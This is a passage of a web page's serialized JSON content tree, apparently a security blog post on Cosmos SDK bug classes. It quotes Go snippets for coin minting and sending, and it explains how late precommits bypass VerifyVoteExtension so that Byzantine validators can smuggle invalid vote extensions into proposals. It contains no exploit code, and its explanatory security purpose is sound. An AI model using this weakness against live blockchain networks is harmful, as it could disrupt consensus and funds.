:217,"props":83266,"children":83267},{"style":7048},[83268],{"type":32,"value":10025},{"type":26,"tag":217,"props":83270,"children":83271},{"class":7028,"line":8067},[83272,83276,83280,83284,83288],{"type":26,"tag":217,"props":83273,"children":83274},{"style":7042},[83275],{"type":32,"value":59922},{"type":26,"tag":217,"props":83277,"children":83278},{"style":7054},[83279],{"type":32,"value":82790},{"type":26,"tag":217,"props":83281,"children":83282},{"style":7149},[83283],{"type":32,"value":66974},{"type":26,"tag":217,"props":83285,"children":83286},{"style":7154},[83287],{"type":32,"value":82799},{"type":26,"tag":217,"props":83289,"children":83290},{"style":7048},[83291],{"type":32,"value":8064},{"type":26,"tag":217,"props":83293,"children":83294},{"class":7028,"line":8107},[83295,83299,83303,83307,83311],{"type":26,"tag":217,"props":83296,"children":83297},{"style":7042},[83298],{"type":32,"value":81520},{"type":26,"tag":217,"props":83300,"children":83301},{"style":7054},[83302],{"type":32,"value":83114},{"type":26,"tag":217,"props":83304,"children":83305},{"style":7048},[83306],{"type":32,"value":180},{"type":26,"tag":217,"props":83308,"children":83309},{"style":7064},[83310],{"type":32,"value":82832},{"type":26,"tag":217,"props":83312,"children":83313},{"style":7048},[83314],{"type":32,"value":10932},{"type":26,"tag":217,"props":83316,"children":83317},{"class":7028,"line":8145},[83318,83323],{"type":26,"tag":217,"props":83319,"children":83320},{"style":7338},[83321],{"type":32,"value":83322},"                    \"failed to mint BTC for event %v: %w\"",{"type":26,"tag":217,"props":83324,"children":83325},{"style":7048},[83326],{"type":32,"value":10953},{"type":26,"tag":217,"props":83328,"children":83329},{"class":7028,"line":8154},[83330,83335,83339,83344],{"type":26,"tag":217,"props":83331,"children":83332},{"style":7054},[83333],{"type":32,"value":83334},"                    event",{"type":26,"tag":217,"props":83336,"children":83337},{"style":7048},[83338],{"type":32,"value":180},{"type":26,"tag":217,"props":83340,"children":83341},{"style":7054},[83342],{"type":32,"value":83343},"Sequence",{"type":26,"tag":217,"props":83345,"children":83346},{"style":7048},[83347],{"type":32,"value":10953},{"type":26,"tag":217,"props":83349,"children":83350},{"class":7028,"line":8162},[83351,83356],{"type":26,"tag":217,"props":83352,"children":83353},{"style":7054},[83354],{"type":32,"value":83355},"                    err",{"type":26,"tag":217,"props":83357,"children":83358},{"style":7048},[83359],{"type":32,"value":10953},{"type":26,"tag":217,"props":83361,"children":83362},{"class":7028,"line":8197},[83363],{"type":26,"tag":217,"props":83364,"children":83365},{"style":7048},[83366],{"type":32,"value":83367},"                )\n",{"type":26,"tag":217,"props":83369,"children":83370},{"class":7028,"line":8220},[83371],{"type":26,"tag":217,"props":83372,"children":83373},{"style":7048},[83374],{"type":32,"value":36205},{"type":26,"tag":217,"props":83376,"children":83377},{"class":7028,"line":8228},[83378,83383,83387],{"type":26,"tag":217,"props":83379,"children":83380},{"style":7048},[83381],{"type":32,"value":83382},"        } ",{"type":26,"tag":217,"props":83384,"children":83385},{"style":7042},[83386],{"type":32,"value":40852},{"type":26,"tag":217,"props":83388,"children":83389},{"style":7048},[83390],{"type":32,"value":8064},{"type":26,"tag":217,"props":83392,"children":83393},{"class":7028,"line":8292},[83394],{"type":26,"tag":217,"props":83395,"children":83396},{"style":7149},[83397],{"type":32,"value":83398},"            ...\n",{"type":26,"tag":217,"props":83400,"children":83401},{"class":7028,"line":8351},[83402],{"type":26,"tag":217,"props":83403,"children":83404},{"style":7048},[83405],{"type":32,"value":8722},{"type":26,"tag":217,"props":83407,"children":83408},{"class":7028,"line":8391},[83409],{"type":26,"tag":217,"props":83410,"children":83411},{"style":7048},[83412],{"type":32,"value":9754},{"type":26,"tag":217,"props":83414,"children":83415},{"class":7028,"line":8439},[83416],{"type":26,"tag":217,"props":83417,"children":83418},{"style":7149},[83419],{"type":32,"value":75433},{"type":26,"tag":217,"props":83421,"children":83422},{"class":7028,"line":8448},[83423],{"type":26,"tag":217,"props":83424,"children":83425},{"style":7048},[83426],{"type":32,"value":7184},{"type":26,"tag":217,"props":83428,"children":83429},{"class":7028,"line":8456},[83430],{"type":26,"tag":217,"props":83431,"children":83432},{"emptyLinePlaceholder":17},[83433],{"type":32,"value":7817},{"type":26,"tag":217,"props":83435,"children":83436},{"class":7028,"line":8500},[83437,83441,83445,83449,83453,83457,83461],{"type":26,"tag":217,"props":83438,"children":83439},{"style":7154},[83440],{"type":32,"value":26409},{"type":26,"tag":217,"props":83442,"children":83443},{"style":7048},[83444],{"type":32,"value":7051},{"type":26,"tag":217,"props":83446,"children":83447},{"style":7054},[83448],{"type":32,"value":82008},{"type":26,"tag":217,"props":83450,"children":83451},{"style":7119},[83452],{"type":32,"value":80827},{"type":26,"tag":217,"props":83454,"children":83455},{"style":7048},[83456],{"type":32,"value":8380},{"type":26,"tag":217,"props":83458,"children":83459},{"style":7064},[83460],{"type":32,"value":83232},{"type":26,"tag":217,"props":83462,"children":83463},{"style":7048},[83464],{"type":32,"value":10932},{"type":26,"tag":217,"props":83466,"children":83467},{"class":7028,"line":8535},[83468,83472,83476,83480,83484],{"type":26,"tag":217,"props":83469,"children":83470},{"style":7054},[83471],{"type":32,"value":79513},{"type":26,"tag":217,"props":83473,"children":83474},{"style":7119},[83475],{"type":32,"value":79518},{"type":26,"tag":217,"props":83477,"children":83478},{"style":7048},[83479],{"type":32,"value":180},{"type":26,"tag":217,"props":83481,"children":83482},{"style":7119},[83483],{"type":32,"value":77200},{"type":26,"tag":217,"props":83485,"children":83486},{"style":7048},[83487],{"type":32,"value":10953},{"type":26,"tag":217,"props":83489,"children":83490},{"class":7028,"line":8664},[83491,83496,83500,83504,83509],{"type":26,"tag":217,"props":83492,"children":83493},{"style":7054},[83494],{"type":32,"value":83495},"    recipient",{"type":26,"tag":217,"props":83497,"children":83498},{"style":7119},[83499],{"type":32,"value":79518},{"type":26,"tag":217,"props":83501,"children":83502},{"style":7048},[83503],{"type":32,"value":180},{"type":26,"tag":217,"props":83505,"children":83506},{"style":7119},[83507],{"type":32,"value":83508},"AccAddress",{"type":26,"tag":217,"props":83510,"children":83511},{"style":7048},[83512],{"type":32,"value":10953},{"type":26,"tag":217,"props":83514,"children":83515},{"class":7028,"line":8700},[83516,83521,83526,83530,83535],{"type":26,"tag":217,"props":83517,"children":83518},{"style":7054},[83519],{"type":32,"value":83520},"    amount",{"type":26,"tag":217,"props":83522,"children":83523},{"style":7119},[83524],{"type":32,"value":83525}," math",{"type":26,"tag":217,"props":83527,"children":83528},{"style":7048},[83529],{"type":32,"value":180},{"type":26,"tag":217,"props":83531,"children":83532},{"style":7119},[83533],{"type":32,"value":83534},"Int",{"type":26,"tag":217,"props":83536,"children":83537},{"style":7048},[83538],{"type":32,"value":10953},{"type":26,"tag":217,"props":83540,"children":83541},{"class":7028,"line":8708},[83542,83546,83550],{"type":26,"tag":217,"props":83543,"children":83544},{"style":7048},[83545],{"type":32,"value":8380},{"type":26,"tag":217,"props":83547,"children":83548},{"style":7119},[83549],{"type":32,"value":7747},{"type":26,"tag":217,"props":83551,"children":83552},{"style":7048},[83553],{"type":32,"value":8064},{"type":26,"tag":217,"props":83555,"children":83556},{"class":7028,"line":8716},[83557],{"type":26,"tag":217,"props":83558,"children":83559},{"style":7149},[83560],{"type":32,"value":75433},{"type":26,"tag":217,"props":83562,"children":83563},{"class":7028,"line":8725},[83564,83569,83573,83577,83581,83586,83590,83594],{"type":26,"tag":217,"props":83565,"children":83566},{"style":7054},[83567],{"type":32,"value":83568},"    err",{"type":26,"tag":217,"props":83570,"children":83571},{"style":7149},[83572],{"type":32,"value":8993},{"type":26,"tag":217,"props":83574,"children":83575},{"style":7054},[83576],{"type":32,"value":82136},{"type":26,"tag":217,"props":83578,"children":83579},{"style":7048},[83580],{"type":32,"value":180},{"type":26,"tag":217,"props":83582,"children":83583},{"style":7054},[83584],{"type":32,"value":83585},"bankKeeper",{"type":26,"tag":217,"props":83587,"children":83588},{"style":7048},[83589],{"type":32,"value":180},{"type":26,"tag":217,"props":83591,"children":83592},{"style":7064},[83593],{"type":32,"value":82524},{"type":26,"tag":217,"props":83595,"children":83596},{"style":7048},[83597],{"type":32,"value":10932},{"type":26,"tag":217,"props":83599,"children":83600},{"class":7028,"line":8738},[83601,83605],{"type":26,"tag":217,"props":83602,"children":83603},{"style":7054},[83604],{"type":32,"value":78279},{"type":26,"tag":217,"props":83606,"children":83607},{"style":7048},[83608],{"type":32,"value":10953},{"type":26,"tag":217,"props":83610,"children":83611},{"class":7028,"line":8755},[83612,83617,83621,83626],{"type":26,"tag":217,"props":83613,"children":83614},{"style":7054},[83615],{"type":32,"value":83616},"        types",{"type":26,"tag":217,"props":83618,"children":83619},{"style":7048},[83620],{"type":32,"value":180},{"type":26,"tag":217,"props":83622,"children":83623},{"style":7054},[83624],{"type":32,"value":83625},"ModuleName",{"type":26,"tag":217,"props":83627,"children":83628},{"style":7048},[83629],{"type":32,"value":10953},{"type":26,"tag":217,"props":83631,"children":83632},{"class":7028,"line":8771},[83633,83637],{"type":26,"tag":217,"props":83634,"children":83635},{"style":7054},[83636],{"type":32,"value":83033},{"type":26,"tag":217,"props":83638,"children":83639},{"style":7048},[83640],{"type":32,"value":10953},{"type":26,"tag":217,"props":83642,"children":83643},{"class":7028,"line":13956},[83644,83649],{"type":26,"tag":217,"props":83645,"children":83646},{"style":7054},[83647],{"type":32,"value":83648},"        coins",{"type":26,"tag":217,"props":83650,"children":83651},{"style":7048},[83652],{"type":32,"value":10953},{"type":26,"tag":217,"props":83654,"children":83655},{"class":7028,"line":13964},[83656],{"type":26,"tag":217,"props":83657,"children":83658},{"style":7048},[83659],{"type":32,"value":61246},{"type":26,"tag":217,"props":83661,"children":83662},{"class":7028,"line":14021},[83663,83667,83671,83675,83679],{"type":26,"tag":217,"props":83664,"children":83665},{"style":7042},[83666],{"type":32,"value":9710},{"type":26,"tag":217,"props":83668,"children":83669},{"style":7054},[83670],{"type":32,"value":82790},{"type":26,"tag":217,"props":83672,"children":83673},{"style":7149},[83674],{"type":32,"value":66974},{"type":26,"tag":217,"props":83676,"children":83677},{"style":7154},[83678],{"type":32,"value":82799},{"type":26,"tag":217,"props":83680,"children":83681},{"style":7048},[83682],{"type":32,"value":8064},{"type":26,"tag":217,"props":83684,"children":83685},{"class":7028,"line":14034},[83686,83690,83694,83698,83702,83706,83711,83715,83719],{"type":26,"tag":217,"props":83687,"children":83688},{"style":7042},[83689],{"type":32,"value":9737},{"type":26,"tag":217,"props":83691,"children":83692},{"style":7054},[83693],{"type":32,"value":83114},{"type":26,"tag":217,"props":83695,"children":83696},{"style":7048},[83697],{"type":32,"value":180},{"type":26,"tag":217,"props":83699,"children":83700},{"style":7064},[83701],{"type":32,"value":82832},{"type":26,"tag":217,"props":83703,"children":83704},{"style":7048},[83705],{"type":32,"value":1851},{"type":26,"tag":217,"props":83707,"children":83708},{"style":7338},[83709],{"type":32,"value":83710},"\"failed to send coins: %w\"",{"type":26,"tag":217,"props":83712,"children":83713},{"style":7048},[83714],{"type":32,"value":7599},{"type":26,"tag":217,"props":83716,"children":83717},{"style":7054},[83718],{"type":32,"value":8675},{"type":26,"tag":217,"props":83720,"children":83721},{"style":7048},[83722],{"type":32,"value":10025},{"type":26,"tag":217,"props":83724,"children":83725},{"class":7028,"line":14043},[83726],{"type":26,"tag":217,"props":83727,"children":83728},{"style":7048},[83729],{"type":32,"value":9754},{"type":26,"tag":217,"props":83731,"children":83732},{"class":7028,"line":14051},[83733],{"type":26,"tag":217,"props":83734,"children":83735},{"style":7149},[83736],{"type":32,"value":75433},{"type":26,"tag":217,"props":83738,"children":83739},{"class":7028,"line":14114},[83740],{"type":26,"tag":217,"props":83741,"children":83742},{"style":7048},[83743],{"type":32,"value":7184},{"type":26,"tag":207,"props":83745,"children":83747},{"code":83746,"language":77016,"meta":8,"className":77017,"style":8},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[83748],{"type":26,"tag":83,"props":83749,"children":83750},{"__ignoreMap":8},[83751,83783,83863,83878,83886,83917,83975,83982,83989],{"type":26,"tag":217,"props":83752,"children":83753},{"class":7028,"line":7029},[83754,83758,83762,83766,83771,83775,83779],{"type":26,"tag":217,"props":83755,"children":83756},{"style":7154},[83757],{"type":32,"value":26409},{"type":26,"tag":217,"props":83759,"children":83760},{"style":7048},[83761],{"type":32,"value":7051},{"type":26,"tag":217,"props":83763,"children":83764},{"style":7054},[83765],{"type":32,"value":82008},{"type":26,"tag":217,"props":83767,"children":83768},{"style":7119},[83769],{"type":32,"value":83770},"BaseKeeper",{"type":26,"tag":217,"props":83772,"children":83773},{"style":7048},[83774],{"type":32,"value":8380},{"type":26,"tag":217,"props":83776,"children":83777},{"style":7064},[83778],{"type":32,"value":82524},{"type":26,"tag":217,"props":83780,"children":83781},{"style":7048},[83782],{"type":32,"value":10932},{"type":26,"tag":217,"props":83784,"children":83785},{"class":7028,"line":6770},[83786,83790,83794,83798,83802,83806,83811,83816,83820,83825,83829,83833,83837,83841,83846,83850,83854,83859],{"type":26,"tag":217,"props":83787,"children":83788},{"style":7054},[83789],{"type":32,"value":79708},{"type":26,"tag":217,"props":83791,"children":83792},{"style":7119},[83793],{"type":32,"value":59568},{"type":26,"tag":217,"props":83795,"children":83796},{"style":7048},[83797],{"type":32,"value":180},{"type":26,"tag":217,"props":83799,"children":83800},{"style":7119},[83801],{"type":32,"value":77200},{"type":26,"tag":217,"props":83803,"children":83804},{"style":7048},[83805],{"type":32,"value":7599},{"type":26,"tag":217,"props":83807,"children":83808},{"style":7054},[83809],{"type":32,"value":83810},"senderModule",{"type":26,"tag":217,"props":83812,"children":83813},{"style":7119},[83814],{"type":32,"value":83815}," string",{"type":26,"tag":217,"props":83817,"children":83818},{"style":7048},[83819],{"type":32,"value":7599},{"type":26,"tag":217,"props":83821,"children":83822},{"style":7054},[83823],{"type":32,"value":83824},"recipientAddr",{"type":26,"tag":217,"props":83826,"children":83827},{"style":7119},[83828],{"type":32,"value":79518},{"type":26,"tag":217,"props":83830,"children":83831},{"style":7048},[83832],{"type":32,"value":180},{"type":26,"tag":217,"props":83834,"children":83835},{"style":7119},[83836],{"type":32,"value":83508},{"type":26,"tag":217,"props":83838,"children":83839},{"style":7048},[83840],{"type":32,"value":7599},{"type":26,"tag":217,"props":83842,"children":83843},{"style":7054},[83844],{"type":32,"value":83845},"amt",{"type":26,"tag":217,"props":83847,"children":83848},{"style":7119},[83849],{"type":32,"value":79518},{"type":26,"tag":217,"props":83851,"children":83852},{"style":7048},[83853],{"type":32,"value":180},{"type":26,"tag":217,"props":83855,"children":83856},{"style":7119},[83857],{"type":32,"value":83858},"Coins",{"type":26,"tag":217,"props":83860,"children":83861},{"style":7048},[83862],{"type":32,"value":10953},{"type":26,"tag":217,"props":83864,"children":83865},{"class":7028,"line":6779},[83866,83870,83874],{"type":26,"tag":217,"props":83867,"children":83868},{"style":7048},[83869],{"type":32,"value":8380},{"type":26,"tag":217,"props":83871,"children":83872},{"style":7119},[83873],{"type":32,"value":7747},{"type":26,"tag":217,"props":83875,"children":83876},{"style":7048},[83877],{"type":32,"value":8064},{"type":26,"tag":217,"props":83879,"children":83880},{"class":7028,"line":7140},[83881],{"type":26,"tag":217,"props":83882,"children":83883},{"style":7149},[83884],{"type":32,"value":83885}," ...\n",{"type":26,"tag":217,"props":83887,"children":83888},{"class":7028,"line":7165},[83889,83893,83897,83901,83905,83909,83913],{"type":26,"tag":217,"props":83890,"children":83891},{"style":7042},[83892],{"type":32,"value":60711},{"type":26,"tag":217,"props":83894,"children":83895},{"style":7054},[83896],{"type":32,"value":82136},{"type":26,"tag":217,"props":83898,"children":83899},{"style":7048},[83900],{"type":32,"value":180},{"type":26,"tag":217,"props":83902,"children":83903},{"style":7064},[83904],{"type":32,"value":82540},{"type":26,"tag":217,"props":83906,"children":83907},{"style":7048},[83908],{"type":32,"value":1851},{"type":26,"tag":217,"props":83910,"children":83911},{"style":7054},[83912],{"type":32,"value":83824},{"type":26,"tag":217,"props":83914,"children":83915},{"style":7048},[83916],{"type":32,"value":7618},{"type":26,"tag":217,"props":83918,"children":83919},{"class":7028,"line":7178},[83920,83924,83929,83933,83937,83941,83945,83949,83954,83958,83963,83967,83971],{"type":26,"tag":217,"props":83921,"children":83922},{"style":7042},[83923],{"type":32,"value":67696},{"type":26,"tag":217,"props":83925,"children":83926},{"style":7054},[83927],{"type":32,"value":83928}," errorsmod",{"type":26,"tag":217,"props":83930,"children":83931},{"style":7048},[83932],{"type":32,"value":180},{"type":26,"tag":217,"props":83934,"children":83935},{"style":7064},[83936],{"type":32,"value":81797},{"type":26,"tag":217,"props":83938,"children":83939},{"style":7048},[83940],{"type":32,"value":1851},{"type":26,"tag":217,"props":83942,"children":83943},{"style":7054},[83944],{"type":32,"value":81458},{"type":26,"tag":217,"props":83946,"children":83947},{"style":7048},[83948],{"type":32,"value":180},{"type":26,"tag":217,"props":83950,"children":83951},{"style":7054},[83952],{"type":32,"value":83953},"ErrUnauthorized",{"type":26,"tag":217,"props":83955,"children":83956},{"style":7048},[83957],{"type":32,"value":7599},{"type":26,"tag":217,"props":83959,"children":83960},{"style":7338},[83961],{"type":32,"value":83962},"\"%s is not allowed to receive funds\"",{"type":26,"tag":217,"props":83964,"children":83965},{"style":7048},[83966],{"type":32,"value":7599},{"type":26,"tag":217,"props":83968,"children":83969},{"style":7054},[83970],{"type":32,"value":83824},{"type":26,"tag":217,"props":83972,"children":83973},{"style":7048},[83974],{"type":32,"value":10025},{"type":26,"tag":217,"props":83976,"children":83977},{"class":7028,"line":7389},[83978],{"type":26,"tag":217,"props":83979,"children":83980},{"style":7048},[83981],{"type":32,"value":65351},{"type":26,"tag":217,"props":83983,"children":83984},{"class":7028,"line":7406},[83985],{"type":26,"tag":217,"props":83986,"children":83987},{"style":7149},[83988],{"type":32,"value":83885},{"type":26,"tag":217,"props":83990,"children":83991},{"class":7028,"line":7439},[83992],{"type":26,"tag":217,"props":83993,"children":83994},{"style":7048},[83995],{"type":32,"value":7184},{"type":26,"tag":39,"props":83997,"children":83998},{},[83999,84001,84008],{"type":32,"value":84000},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":26,"tag":163,"props":84002,"children":84005},{"href":84003,"rel":84004},"https://hackerone.com/reports/3018307",[167],[84006],{"type":32,"value":84007},"improper decimal handling in the group module",{"type":32,"value":180},{"type":26,"tag":27,"props":84010,"children":84012},{"id":84011},"same-same-but-different",[84013],{"type":32,"value":84014},"Same, Same... But Different",{"type":26,"tag":39,"props":84016,"children":84017},{},[84018,84020,84026,84027,84033,84034,84040,84041,84047],{"type":32,"value":84019},"Cosmos exposes several consensus-level interfaces, such as ",{"type":26,"tag":83,"props":84021,"children":84023},{"className":84022},[],[84024],{"type":32,"value":84025},"PrepareProposal",{"type":32,"value":7599},{"type":26,"tag":83,"props":84028,"children":84030},{"className":84029},[],[84031],{"type":32,"value":84032},"ProcessProposal",{"type":32,"value":7599},{"type":26,"tag":83,"props":84035,"children":84037},{"className":84036},[],[84038],{"type":32,"value":84039},"ExtendVote",{"type":32,"value":17577},{"type":26,"tag":83,"props":84042,"children":84044},{"className":84043},[],[84045],{"type":32,"value":84046},"VerifyVoteExtension",{"type":32,"value":84048},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":26,"tag":39,"props":84050,"children":84051},{},[84052],{"type":32,"value":84053},"Two of the best-known attack surfaces are",{"type":26,"tag":6712,"props":84055,"children":84056},{},[84057,84086],{"type":26,"tag":2044,"props":84058,"children":84059},{},[84060,84065,84066,84071,84073,84078,84079,84084],{"type":26,"tag":83,"props":84061,"children":84063},{"className":84062},[],[84064],{"type":32,"value":84025},{"type":32,"value":7051},{"type":26,"tag":83,"props":84067,"children":84069},{"className":84068},[],[84070],{"type":32,"value":84039},{"type":32,"value":84072},") outputs being rejected due to ",{"type":26,"tag":83,"props":84074,"children":84076},{"className":84075},[],[84077],{"type":32,"value":84032},{"type":32,"value":7051},{"type":26,"tag":83,"props":84080,"children":84082},{"className":84081},[],[84083],{"type":32,"value":84046},{"type":32,"value":84085},") over-validating, resulting in liveness failures.",{"type":26,"tag":2044,"props":84087,"children":84088},{},[84089,84091,84096,84097,84102,84104,84109,84110,84115],{"type":32,"value":84090},"Malicious proposals and vote extensions not created through the ",{"type":26,"tag":83,"props":84092,"children":84094},{"className":84093},[],[84095],{"type":32,"value":84025},{"type":32,"value":7051},{"type":26,"tag":83,"props":84098,"children":84100},{"className":84099},[],[84101],{"type":32,"value":84039},{"type":32,"value":84103},") are accepted due to ",{"type":26,"tag":83,"props":84105,"children":84107},{"className":84106},[],[84108],{"type":32,"value":84032},{"type":32,"value":7051},{"type":26,"tag":83,"props":84111,"children":84113},{"className":84112},[],[84114],{"type":32,"value":84046},{"type":32,"value":84116},") under-validating.",{"type":26,"tag":39,"props":84118,"children":84119},{},[84120],{"type":32,"value":84121},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":26,"tag":39,"props":84123,"children":84124},{},[84125,84127,84133,84135,84140],{"type":32,"value":84126},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":26,"tag":83,"props":84128,"children":84130},{"className":84129},[],[84131],{"type":32,"value":84132},"VoteExtensions",{"type":32,"value":84134}," within ",{"type":26,"tag":83,"props":84136,"children":84138},{"className":84137},[],[84139],{"type":32,"value":84025},{"type":32,"value":84141},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":26,"tag":39,"props":84143,"children":84144},{},[84145,84147,84152,84154,84159],{"type":32,"value":84146},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":26,"tag":83,"props":84148,"children":84150},{"className":84149},[],[84151],{"type":32,"value":84039},{"type":32,"value":84153}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":26,"tag":83,"props":84155,"children":84157},{"className":84156},[],[84158],{"type":32,"value":84046},{"type":32,"value":84160},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":26,"tag":39,"props":84162,"children":84163},{},[84164,84166,84171],{"type":32,"value":84165},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":26,"tag":83,"props":84167,"children":84169},{"className":84168},[],[84170],{"type":32,"value":84046},{"type":32,"value":84172}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":26,"tag":39,"props":84174,"children":84175},{},[84176,84178,84183,84185,84191],{"type":32,"value":84177},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":26,"tag":83,"props":84179,"children":84181},{"className":84180},[],[84182],{"type":32,"value":84046},{"type":32,"value":84184},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":26,"tag":83,"props":84186,"children":84188},{"className":84187},[],[84189],{"type":32,"value":84190},"Proposal",{"type":32,"value":180},{"type":26,"tag":207,"props":84193,"children":84195},{"code":84194,"language":77016,"meta":8,"className":77017,"style":8},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[84196],{"type":26,"tag":83,"props":84197,"children":84198},{"__ignoreMap":8},[84199,84311,84318,84325,84333,84341,84425,84432,84440,84494,84501,84522,84529,84601,84617,84624,84697,84753,84760,84822,84829,84836,84855,84862,84869,84876],{"type":26,"tag":217,"props":84200,"children":84201},{"class":7028,"line":7029},[84202,84206,84210,84215,84219,84224,84228,84233,84237,84242,84246,84250,84254,84259,84263,84268,84273,84277,84282,84286,84291,84295,84299,84303,84307],{"type":26,"tag":217,"props":84203,"children":84204},{"style":7154},[84205],{"type":32,"value":26409},{"type":26,"tag":217,"props":84207,"children":84208},{"style":7048},[84209],{"type":32,"value":7051},{"type":26,"tag":217,"props":84211,"children":84212},{"style":7054},[84213],{"type":32,"value":84214},"cs ",{"type":26,"tag":217,"props":84216,"children":84217},{"style":7149},[84218],{"type":32,"value":10006},{"type":26,"tag":217,"props":84220,"children":84221},{"style":7119},[84222],{"type":32,"value":84223},"State",{"type":26,"tag":217,"props":84225,"children":84226},{"style":7048},[84227],{"type":32,"value":8380},{"type":26,"tag":217,"props":84229,"children":84230},{"style":7064},[84231],{"type":32,"value":84232},"addVote",{"type":26,"tag":217,"props":84234,"children":84235},{"style":7048},[84236],{"type":32,"value":1851},{"type":26,"tag":217,"props":84238,"children":84239},{"style":7054},[84240],{"type":32,"value":84241},"vote",{"type":26,"tag":217,"props":84243,"children":84244},{"style":7149},[84245],{"type":32,"value":9690},{"type":26,"tag":217,"props":84247,"children":84248},{"style":7119},[84249],{"type":32,"value":78922},{"type":26,"tag":217,"props":84251,"children":84252},{"style":7048},[84253],{"type":32,"value":180},{"type":26,"tag":217,"props":84255,"children":84256},{"style":7119},[84257],{"type":32,"value":84258},"Vote",{"type":26,"tag":217,"props":84260,"children":84261},{"style":7048},[84262],{"type":32,"value":7599},{"type":26,"tag":217,"props":84264,"children":84265},{"style":7054},[84266],{"type":32,"value":84267},"peerID",{"type":26,"tag":217,"props":84269,"children":84270},{"style":7119},[84271],{"type":32,"value":84272}," p2p",{"type":26,"tag":217,"props":84274,"children":84275},{"style":7048},[84276],{"type":32,"value":180},{"type":26,"tag":217,"props":84278,"children":84279},{"style":7119},[84280],{"type":32,"value":84281},"ID",{"type":26,"tag":217,"props":84283,"children":84284},{"style":7048},[84285],{"type":32,"value":77233},{"type":26,"tag":217,"props":84287,"children":84288},{"style":7054},[84289],{"type":32,"value":84290},"added",{"type":26,"tag":217,"props":84292,"children":84293},{"style":7119},[84294],{"type":32,"value":79568},{"type":26,"tag":217,"props":84296,"children":84297},{"style":7048},[84298],{"type":32,"value":7599},{"type":26,"tag":217,"props":84300,"children":84301},{"style":7054},[84302],{"type":32,"value":8675},{"type":26,"tag":217,"props":84304,"children":84305},{"style":7119},[84306],{"type":32,"value":80988},{"type":26,"tag":217,"props":84308,"children":84309},{"style":7048},[84310],{"type":32,"value":7618},{"type":26,"tag":217,"props":84312,"children":84313},{"class":7028,"line":6770},[84314],{"type":26,"tag":217,"props":84315,"children":84316},{"style":7149},[84317],{"type":32,"value":75433},{"type":26,"tag":217,"props":84319,"children":84320},{"class":7028,"line":6779},[84321],{"type":26,"tag":217,"props":84322,"children":84323},{"emptyLinePlaceholder":17},[84324],{"type":32,"value":7817},{"type":26,"tag":217,"props":84326,"children":84327},{"class":7028,"line":7140},[84328],{"type":26,"tag":217,"props":84329,"children":84330},{"style":7033},[84331],{"type":32,"value":84332},"    // A precommit for the previous height?\n",{"type":26,"tag":217,"props":84334,"children":84335},{"class":7028,"line":7165},[84336],{"type":26,"tag":217,"props":84337,"children":84338},{"style":7033},[84339],{"type":32,"value":84340},"    // These come in while we wait timeoutCommit\n",{"type":26,"tag":217,"props":84342,"children":84343},{"class":7028,"line":7178},[84344,84348,84353,84357,84362,84366,84370,84374,84379,84383,84387,84391,84395,84399,84404,84408,84412,84416,84421],{"type":26,"tag":217,"props":84345,"children":84346},{"style":7042},[84347],{"type":32,"value":9710},{"type":26,"tag":217,"props":84349,"children":84350},{"style":7054},[84351],{"type":32,"value":84352}," vote",{"type":26,"tag":217,"props":84354,"children":84355},{"style":7048},[84356],{"type":32,"value":180},{"type":26,"tag":217,"props":84358,"children":84359},{"style":7054},[84360],{"type":32,"value":84361},"Height",{"type":26,"tag":217,"props":84363,"children":84364},{"style":7149},[84365],{"type":32,"value":3540},{"type":26,"tag":217,"props":84367,"children":84368},{"style":7130},[84369],{"type":32,"value":185},{"type":26,"tag":217,"props":84371,"children":84372},{"style":7149},[84373],{"type":32,"value":11680},{"type":26,"tag":217,"props":84375,"children":84376},{"style":7054},[84377],{"type":32,"value":84378}," 